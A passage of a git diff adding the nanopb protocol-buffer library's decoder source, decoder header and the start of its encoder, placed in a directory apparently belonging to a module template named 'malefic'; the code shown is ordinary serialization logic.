extension->type->decode(stream, extension, tag, wire_type); + else + status = default_extension_decoder(stream, extension, tag, wire_type); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/* Initialize message fields to default values, recursively */ +static bool pb_field_set_to_default(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + pb_extension_t *ext = *(pb_extension_t* const *)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + ext->found = false; + if (!pb_message_set_to_defaults(&ext_iter)) + return false; + } + ext = ext->next; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + bool init_data = true; + if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Set has_field to false. Still initialize the optional field + * itself also. */ + *(bool*)field->pSize = false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* REPEATED: Set array count to 0, no need to initialize contents. + ONEOF: Set which_field to 0. */ + *(pb_size_t*)field->pSize = 0; + init_data = false; + } + + if (init_data) + { + if (PB_LTYPE_IS_SUBMSG(field->type) && + (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL)) + { + /* Initialize submessage to defaults. + * Only needed if it has default values + * or callback/submessage fields. */ + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + return false; + } + } + else + { + /* Initialize to zeros */ + memset(field->pData, 0, (size_t)field->data_size); + } + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL. */ + *(void**)field->pField = NULL; + + /* Initialize array count to 0. */ + if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = 0; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + /* Don't overwrite callback */ + } + + return true; +} + +static bool pb_message_set_to_defaults(pb_field_iter_t *iter) +{ + pb_istream_t defstream = PB_ISTREAM_EMPTY; + uint32_t tag = 0; + pb_wire_type_t wire_type = PB_WT_VARINT; + bool eof; + + if (iter->descriptor->default_value) + { + defstream = pb_istream_from_buffer(iter->descriptor->default_value, (size_t)-1); + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + } + + do + { + if (!pb_field_set_to_default(iter)) + return false; + + if (tag != 0 && iter->tag == tag) + { + /* We have a default value for this field in the defstream */ + if (!decode_field(&defstream, wire_type, iter)) + return false; + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + + if (iter->pSize) + *(bool*)iter->pSize = false; + } + } while (pb_field_iter_next(iter)); + + return true; +} + +/********************* + * Decode all fields * + *********************/ + +static bool checkreturn pb_decode_inner(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + uint32_t extension_range_start = 0; + pb_extension_t *extensions = NULL; + + /* 'fixed_count_field' and 'fixed_count_size' track position of a repeated fixed + * count field. This can only handle _one_ repeated fixed count field that + * is unpacked and unordered among other (non repeated fixed count) fields. + */ + pb_size_t fixed_count_field = PB_SIZE_MAX; + pb_size_t fixed_count_size = 0; + pb_size_t fixed_count_total_size = 0; + + pb_fields_seen_t fields_seen = {{0, 0}}; + const uint32_t allbits = ~(uint32_t)0; + pb_field_iter_t iter; + + if (pb_field_iter_begin(&iter, fields, dest_struct)) + { + if ((flags & PB_DECODE_NOINIT) == 0) + { + if (!pb_message_set_to_defaults(&iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + + while (stream->bytes_left) + { + uint32_t tag; + pb_wire_type_t wire_type; + bool eof; + + if (!pb_decode_tag(stream, &wire_type, &tag, &eof)) + { + if (eof) + break; + else + return false; + } + + if (tag == 0) + { + if (flags & PB_DECODE_NULLTERMINATED) + { + break; + } + else + { + PB_RETURN_ERROR(stream, "zero tag"); + } + } + + if (!pb_field_iter_find(&iter, tag) || PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* No match found, check if it matches an extension. */ + if (extension_range_start == 0) + { + if (pb_field_iter_find_extension(&iter)) + { + extensions = *(pb_extension_t* const *)iter.pData; + extension_range_start = iter.tag; + } + + if (!extensions) + { + extension_range_start = (uint32_t)-1; + } + } + + if (tag >= extension_range_start) + { + size_t pos = stream->bytes_left; + + if (!decode_extension(stream, tag, wire_type, extensions)) + return false; + + if (pos != stream->bytes_left) + { + /* The field was handled */ + continue; + } + } + + /* No match found, skip data */ + if (!pb_skip_field(stream, wire_type)) + return false; + continue; + } + + /* If a repeated fixed count field was found, get size from + * 'fixed_count_field' as there is no counter contained in the struct. + */ + if (PB_HTYPE(iter.type) == PB_HTYPE_REPEATED && iter.pSize == &iter.array_size) + { + if (fixed_count_field != iter.index) { + /* If the new fixed count field does not match the previous one, + * check that the previous one is NULL or that it finished + * receiving all the expected data. + */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + fixed_count_field = iter.index; + fixed_count_size = 0; + fixed_count_total_size = iter.array_size; + } + + iter.pSize = &fixed_count_size; + } + + if (PB_HTYPE(iter.type) == PB_HTYPE_REQUIRED + && iter.required_field_index < PB_MAX_REQUIRED_FIELDS) + { + uint32_t tmp = ((uint32_t)1 << (iter.required_field_index & 31)); + fields_seen.bitfield[iter.required_field_index >> 5] |= tmp; + } + + if (!decode_field(stream, wire_type, &iter)) + return false; + } + + /* Check that all elements of the last decoded fixed count field were present. */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + /* Check that all required fields were present. */ + { + pb_size_t req_field_count = iter.descriptor->required_field_count; + + if (req_field_count > 0) + { + pb_size_t i; + + if (req_field_count > PB_MAX_REQUIRED_FIELDS) + req_field_count = PB_MAX_REQUIRED_FIELDS; + + /* Check the whole words */ + for (i = 0; i < (req_field_count >> 5); i++) + { + if (fields_seen.bitfield[i] != allbits) + PB_RETURN_ERROR(stream, "missing required field"); + } + + /* Check the remaining bits (if any) */ + if ((req_field_count & 31) != 0) + { + if (fields_seen.bitfield[req_field_count >> 5] != + (allbits >> (uint_least8_t)(32 - (req_field_count & 31)))) + { + PB_RETURN_ERROR(stream, "missing required field"); + } + } + } + } + + return true; +} + +bool checkreturn pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + bool status; + + if ((flags & PB_DECODE_DELIMITED) == 0) + { + status = pb_decode_inner(stream, fields, dest_struct, flags); + } + else + { + pb_istream_t substream; + if (!pb_make_string_substream(stream, &substream)) + return false; + + status = pb_decode_inner(&substream, fields, dest_struct, flags); + + if (!pb_close_string_substream(stream, &substream)) + status = false; + } + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +bool checkreturn pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct) +{ + bool status; + + status = pb_decode_inner(stream, fields, dest_struct, 0); + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +#ifdef PB_ENABLE_MALLOC +/* Given an oneof field, if there has already been a field inside this oneof, + * release it before overwriting with a different one. */ +static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field) +{ + pb_field_iter_t old_field = *field; + pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */ + pb_size_t new_tag = field->tag; /* New which_ value */ + + if (old_tag == 0) + return true; /* Ok, no old data in union */ + + if (old_tag == new_tag) + return true; /* Ok, old data is of same type => merge */ + + /* Release old data. The find can fail if the message struct contains + * invalid data. */ + if (!pb_field_iter_find(&old_field, old_tag)) + PB_RETURN_ERROR(stream, "invalid union tag"); + + pb_release_single_field(&old_field); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL to make sure it is valid + * even in case of error return. */ + *(void**)field->pField = NULL; + field->pData = NULL; + } + + return true; +} + +static void pb_release_single_field(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + if (*(pb_size_t*)field->pSize != field->tag) + return; /* This is not the current field in the union */ + } + + /* Release anything contained inside an extension or submsg. + * This has to be done even if the submsg itself is statically + * allocated. */ + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + /* Release fields from all extensions in the linked list */ + pb_extension_t *ext = *(pb_extension_t**)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + pb_release_single_field(&ext_iter); + } + ext = ext->next; + } + } + else if (PB_LTYPE_IS_SUBMSG(type) && PB_ATYPE(type) != PB_ATYPE_CALLBACK) + { + /* Release fields in submessage or submsg array */ + pb_size_t count = 1; + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + field->pData = *(void**)field->pField; + } + else + { + field->pData = field->pField; + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + count = *(pb_size_t*)field->pSize; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC && count > field->array_size) + { + /* Protect against corrupted _count fields */ + count = field->array_size; + } + } + + if (field->pData) + { + for (; count > 0; count--) + { + pb_release(field->submsg_desc, field->pData); + field->pData = (char*)field->pData + field->data_size; + } + } + } + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + if (PB_HTYPE(type) == PB_HTYPE_REPEATED && + (PB_LTYPE(type) == PB_LTYPE_STRING || + PB_LTYPE(type) == PB_LTYPE_BYTES)) + { + /* Release entries in repeated string or bytes array */ + void **pItem = *(void***)field->pField; + pb_size_t count = *(pb_size_t*)field->pSize; + for (; count > 0; count--) + { + pb_free(*pItem); + *pItem++ = NULL; + } + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* We are going to release the array, so set the size to 0 */ + *(pb_size_t*)field->pSize = 0; + } + + /* Release main pointer */ + pb_free(*(void**)field->pField); + *(void**)field->pField = NULL; + } +} + +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + pb_field_iter_t iter; + + if (!dest_struct) + return; /* Ignore NULL pointers, similar to free() */ + + if (!pb_field_iter_begin(&iter, fields, dest_struct)) + return; /* Empty message type */ + + do + { + pb_release_single_field(&iter); + } while (pb_field_iter_next(&iter)); +} +#else +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + /* Nothing to release without PB_ENABLE_MALLOC. */ + PB_UNUSED(fields); + PB_UNUSED(dest_struct); +} +#endif + +/* Field decoders */ + +bool pb_decode_bool(pb_istream_t *stream, bool *dest) +{ + uint32_t value; + if (!pb_decode_varint32(stream, &value)) + return false; + + *(bool*)dest = (value != 0); + return true; +} + +bool pb_decode_svarint(pb_istream_t *stream, pb_int64_t *dest) +{ + pb_uint64_t value; + if (!pb_decode_varint(stream, &value)) + return false; + + if (value & 1) + *dest = (pb_int64_t)(~(value >> 1)); + else + *dest = (pb_int64_t)(value >> 1); + + return true; +} + +bool pb_decode_fixed32(pb_istream_t *stream, void *dest) +{ + union { + uint32_t fixed32; + pb_byte_t bytes[4]; + } u; + + if (!pb_read(stream, u.bytes, 4)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint32_t*)dest = u.fixed32; +#else + *(uint32_t*)dest = ((uint32_t)u.bytes[0] << 0) | + ((uint32_t)u.bytes[1] << 8) | + ((uint32_t)u.bytes[2] << 16) | + ((uint32_t)u.bytes[3] << 24); +#endif + return true; +} + +#ifndef PB_WITHOUT_64BIT +bool pb_decode_fixed64(pb_istream_t *stream, void *dest) +{ + union { + uint64_t fixed64; + pb_byte_t bytes[8]; + } u; + + if (!pb_read(stream, u.bytes, 8)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint64_t*)dest = u.fixed64; +#else + *(uint64_t*)dest = ((uint64_t)u.bytes[0] << 0) | + ((uint64_t)u.bytes[1] << 8) | + ((uint64_t)u.bytes[2] << 16) | + ((uint64_t)u.bytes[3] << 24) | + ((uint64_t)u.bytes[4] << 32) | + ((uint64_t)u.bytes[5] << 40) | + ((uint64_t)u.bytes[6] << 48) | + ((uint64_t)u.bytes[7] << 56); +#endif + return true; +} +#endif + +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field) +{ + return pb_decode_bool(stream, (bool*)field->pData); +} + +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + pb_uint64_t value, clamped; + if (!pb_decode_varint(stream, &value)) + return false; + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_uint64_t)) + clamped = *(pb_uint64_t*)field->pData = value; + else if (field->data_size == sizeof(uint32_t)) + clamped = *(uint32_t*)field->pData = (uint32_t)value; + else if (field->data_size == sizeof(uint_least16_t)) + clamped = *(uint_least16_t*)field->pData = (uint_least16_t)value; + else if (field->data_size == sizeof(uint_least8_t)) + clamped = *(uint_least8_t*)field->pData = (uint_least8_t)value; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != value) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } + else + { + pb_uint64_t value; + pb_int64_t svalue; + pb_int64_t clamped; + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + { + if (!pb_decode_svarint(stream, &svalue)) + return false; + } + else + { + if (!pb_decode_varint(stream, &value)) + return false; + + /* See issue 97: Google's C++ protobuf allows negative varint values to + * be cast as int32_t, instead of the int64_t that should be used when + * encoding. Nanopb versions before 0.2.5 had a bug in encoding. In order to + * not break decoding of such messages, we cast <=32 bit fields to + * int32_t first to get the sign correct. + */ + if (field->data_size == sizeof(pb_int64_t)) + svalue = (pb_int64_t)value; + else + svalue = (int32_t)value; + } + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_int64_t)) + clamped = *(pb_int64_t*)field->pData = svalue; + else if (field->data_size == sizeof(int32_t)) + clamped = *(int32_t*)field->pData = (int32_t)svalue; + else if (field->data_size == sizeof(int_least16_t)) + clamped = *(int_least16_t*)field->pData = (int_least16_t)svalue; + else if (field->data_size == sizeof(int_least8_t)) + clamped = *(int_least8_t*)field->pData = (int_least8_t)svalue; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != svalue) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } +} + +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_bytes_array_t *dest; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + alloc_size = PB_BYTES_ARRAY_T_ALLOCSIZE(size); + if (size > alloc_size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_bytes_array_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "bytes overflow"); + dest = (pb_bytes_array_t*)field->pData; + } + + dest->size = (pb_size_t)size; + return pb_read(stream, dest->bytes, (size_t)size); +} + +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_byte_t *dest = (pb_byte_t*)field->pData; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size == (uint32_t)-1) + PB_RETURN_ERROR(stream, "size too large"); + + /* Space for null terminator */ + alloc_size = (size_t)(size + 1); + + if (alloc_size < size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_byte_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "string overflow"); + } + + dest[size] = 0; + + if (!pb_read(stream, dest, (size_t)size)) + return false; + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8((const char*)dest)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return true; +} + +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field) +{ + bool status = true; + bool submsg_consumed = false; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + /* Submessages can have a separate message-level callback that is called + * before decoding the message. Typically it is used to set callback fields + * inside oneofs. */ + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.decode) + { + status = callback->funcs.decode(&substream, field, &callback->arg); + + if (substream.bytes_left == 0) + { + submsg_consumed = true; + } + } + } + + /* Now decode the submessage contents */ + if (status && !submsg_consumed) + { + unsigned int flags = 0; + + /* Static required/optional fields are already initialized by top-level + * pb_decode(), no need to initialize them again. */ + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + PB_HTYPE(field->type) != PB_HTYPE_REPEATED) + { + flags = PB_DECODE_NOINIT; + } + + status = pb_decode_inner(&substream, field->submsg_desc, field->pData, flags); + } + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; +} + +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + if (size == 0) + { + /* As a special case, treat empty bytes string as all zeros for fixed_length_bytes. */ + memset(field->pData, 0, (size_t)field->data_size); + return true; + } + + if (size != field->data_size) + PB_RETURN_ERROR(stream, "incorrect fixed length bytes size"); + + return pb_read(stream, (pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest) +{ + uint_least8_t sign; + int exponent; + uint32_t mantissa; + uint64_t value; + union { float f; uint32_t i; } out; + + if (!pb_decode_fixed64(stream, &value)) + return false; + + /* Decompose input value */ + sign = (uint_least8_t)((value >> 63) & 1); + exponent = (int)((value >> 52) & 0x7FF) - 1023; + mantissa = (value >> 28) & 0xFFFFFF; /* Highest 24 bits */ + + /* Figure if value is in range representable by floats. */ + if (exponent == 1024) + { + /* Special value */ + exponent = 128; + mantissa >>= 1; + } + else + { + if (exponent > 127) + { + /* Too large, convert to infinity */ + exponent = 128; + mantissa = 0; + } + else if (exponent < -150) + { + /* Too small, convert to zero */ + exponent = -127; + mantissa = 0; + } + else if (exponent < -126) + { + /* Denormalized */ + mantissa |= 0x1000000; + mantissa >>= (-126 - exponent); + exponent = -127; + } + + /* Round off mantissa */ + mantissa = (mantissa + 1) >> 1; + + /* Check if mantissa went over 2.0 */ + if (mantissa & 0x800000) + { + exponent += 1; + mantissa &= 0x7FFFFF; + mantissa >>= 1; + } + } + + /* Combine fields */ + out.i = mantissa; + out.i |= (uint32_t)(exponent + 127) << 23; + out.i |= (uint32_t)sign << 31; + + *dest = out.f; + return true; +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h new file mode 100644 index 0000000..3f392b2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h @@ -0,0 +1,204 @@ +/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c. + * The main function is pb_decode. You also need an input stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_DECODE_H_INCLUDED +#define PB_DECODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom input streams. You will need to provide + * a callback function to read the bytes from your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause decoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer), + * and rely on pb_read to verify that no-body reads past bytes_left. + * 3) Your callback may be used with substreams, in which case bytes_left + * is different than from the main stream. Don't use bytes_left to compute + * any pointers. + */ +struct pb_istream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + */ + int *callback; +#else + bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_istream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Maximum number of bytes left in this stream. Callback can report + * EOF before this limit is reached. Setting a limit is recommended + * when decoding directly from file or network streams to avoid + * denial-of-service by excessively long messages. + */ + size_t bytes_left; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +#ifndef PB_NO_ERRMSG +#define PB_ISTREAM_EMPTY {0,0,0,0} +#else +#define PB_ISTREAM_EMPTY {0,0,0} +#endif + +/*************************** + * Main decoding functions * + ***************************/ + +/* Decode a single protocol buffers message from input stream into a C structure. + * Returns true on success, false on any failure. + * The actual struct pointed to by dest must match the description in fields. + * Callback fields of the destination structure must be initialized by caller. + * All other fields will be initialized by this function. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_istream_t stream; + * + * // ... read some data into buffer ... + * + * stream = pb_istream_from_buffer(buffer, count); + * pb_decode(&stream, MyMessage_fields, &msg); + */ +bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct); + +/* Extended version of pb_decode, with several options to control + * the decoding process: + * + * PB_DECODE_NOINIT: Do not initialize the fields to default values. + * This is slightly faster if you do not need the default + * values and instead initialize the structure to 0 using + * e.g. memset(). This can also be used for merging two + * messages, i.e. combine already existing data with new + * values. + * + * PB_DECODE_DELIMITED: Input message starts with the message size as varint. + * Corresponds to parseDelimitedFrom() in Google's + * protobuf API. + * + * PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows + * reading null terminated messages. + * NOTE: Until nanopb-0.4.0, pb_decode() also allows + * null-termination. This behaviour is not supported in + * most other protobuf implementations, so PB_DECODE_DELIMITED + * is a better option for compatibility. + * + * Multiple flags can be combined with bitwise or (| operator) + */ +#define PB_DECODE_NOINIT 0x01U +#define PB_DECODE_DELIMITED 0x02U +#define PB_DECODE_NULLTERMINATED 0x04U +bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT) +#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED) +#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT) +#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED) + +/* Release any allocated pointer fields. If you use dynamic allocation, you should + * call this for any successfully decoded message when you are done with it. If + * pb_decode() returns with an error, the message is already released. + */ +void pb_release(const pb_msgdesc_t *fields, void *dest_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an input stream for reading from a memory buffer. + * + * msglen should be the actual length of the message, not the full size of + * allocated buffer. + * + * Alternatively, you can use a custom stream that reads directly from e.g. + * a file or a network socket. + */ +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen); + +/* Function to read from a pb_istream_t. You can use this if you need to + * read some custom header data, or to read data in field callbacks. + */ +bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Decode the tag for the next field in the stream. Gives the wire type and + * field tag. At end of the message, returns false and sets eof to true. */ +bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof); + +/* Skip the field payload data, given the wire type. */ +bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type); + +/* Decode an integer in the varint format. This works for enum, int32, + * int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest); +#else +#define pb_decode_varint pb_decode_varint32 +#endif + +/* Decode an integer in the varint format. This works for enum, int32, + * and uint32 field types. */ +bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest); + +/* Decode a bool value in varint format. */ +bool pb_decode_bool(pb_istream_t *stream, bool *dest); + +/* Decode an integer in the zig-zagged svarint format. This works for sint32 + * and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest); +#else +bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest); +#endif + +/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to + * a 4-byte wide C variable. */ +bool pb_decode_fixed32(pb_istream_t *stream, void *dest); + +#ifndef PB_WITHOUT_64BIT +/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to + * a 8-byte wide C variable. */ +bool pb_decode_fixed64(pb_istream_t *stream, void *dest); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Decode a double value into float variable. */ +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest); +#endif + +/* Make a limited-length substream for reading a PB_WT_STRING field. */ +bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream); +bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c new file mode 100644 index 0000000..f9034a5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c @@ -0,0 +1,1001 @@ +/* pb_encode.c -- encode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +#include "pb.h" +#include "pb_encode.h" +#include "pb_common.h" + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +/************************************** + * Declarations internal to this file * + **************************************/ +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field); +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension); +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high); +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +/******************************* + * pb_ostream_t implementation * + *******************************/ + +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + pb_byte_t *dest = (pb_byte_t*)stream->state; + stream->state = dest + count; + + memcpy(dest, buf, count * sizeof(pb_byte_t)); + + return true; +} + +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize) +{ + pb_ostream_t stream; +#ifdef PB_BUFFER_ONLY + /* In PB_BUFFER_ONLY configuration the callback pointer is just int*. + * NULL pointer marks a sizing 